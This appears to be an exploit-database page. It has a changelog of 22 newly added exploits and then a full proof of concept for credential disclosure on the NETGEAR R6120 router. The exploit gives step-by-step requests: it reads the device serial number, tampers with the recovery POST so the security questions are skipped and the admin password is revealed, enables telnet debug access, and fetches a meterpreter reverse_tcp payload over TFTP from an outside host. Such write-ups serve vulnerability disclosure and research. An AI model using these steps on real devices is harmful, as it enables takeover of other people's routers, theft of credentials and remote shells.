
22 changes to exploits/shellcodes ZyXEL VMG3312-B10B < 1.00(AAPP.7) - Credential Disclosure QNAP NetBak Replicator 4.5.6.0607 - Denial of Service (PoC) SIPp 3.3.990 - Local Buffer Overflow (PoC) R 3.4.4 (Windows 10 x64) - Buffer Overflow (DEP/ASLR Bypass) xorg-x11-server 1.20.3 - Privilege Escalation Any Sound Recorder 2.93 - Buffer Overflow Local (SEH) (Metasploit) Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass South Gate Inn Online Reservation System 1.0 - 'q' SQL Injection Electricks eCommerce 1.0 - 'prodid' SQL Injection phptpoint Pharmacy Management System 1.0 - 'username' SQL Injection Webiness Inventory 2.9 - Arbitrary File Upload NETGEAR WiFi Router R6120 - Credential Disclosure MyBB Downloads 2.0.3 - SQL Injection Expense Management 1.0 - Arbitrary File Upload University Application System 1.0 - SQL Injection / Cross-Site Request Forgery (Add Admin) Notes Manager 1.0 - Arbitrary File Upload Instagram Clone 1.0 - Arbitrary File Upload Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal Asaancart Simple PHP Shopping Cart 0.9 - Arbitrary File Upload / SQL Injection CI User Login and Management 1.0 - Arbitrary File Upload Windows/x64 - Remote (Bind TCP) Keylogger Shellcode (864 bytes) (Generator)
34 lines
No EOL
1.5 KiB
Text
34 lines
No EOL
1.5 KiB
Text
# Exploit Title: NETGEAR WiFi Router R6120 - Credential Disclosure
|
|
# Date: 2018-10-28
|
|
# Exploit Author: Wadeek
|
|
# Hardware Version: R6120
|
|
# Firmware Version: 1.0.0.30
|
|
# Vendor Homepage: https://www.netgear.com/support/product/R6120.aspx
|
|
# Firmware Link: http://www.downloads.netgear.com/files/GDC/R6120/R6120-V1.0.0.30.zip
|
|
|
|
# == Files Containing Juicy Info ==
|
|
>> http://192.168.1.1:56688/rootDesc.xml (Server: Unspecified, UPnP/1.0, Unspecified)
|
|
<serialNumber>SSSSSSSNNNNNN</serialNumber>
|
|
|
|
# == Security Questions Bypass > Password Disclosure ==
|
|
>> http://192.168.1.1/401_recovery.htm (SSSSSSSNNNNNN value for input)
|
|
<POST REQUEST>
|
|
htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)
|
|
(replace)
|
|
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=securityquestions.htm&SID=
|
|
(by)
|
|
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=passwordrecovered.htm&SID=
|
|
<POST RESPONSE>
|
|
">You have successfully recovered the admin password.</span>
|
|
">Router Admin Username</span>: admin</td>
|
|
">Router Admin Password</span>: Str0ng+-Passw0rd</td>
|
|
|
|
# == Authenticated Telnet Command Execution ==
|
|
>> http://admin:Str0ng+-Passw0rd@192.168.1.1/setup.cgi?todo=debug
|
|
:~$ telnet 192.168.1.1
|
|
R6120 login: admin
|
|
Password: Str0ng+-Passw0rd
|
|
{
|
|
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
|
|
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
|
|
} |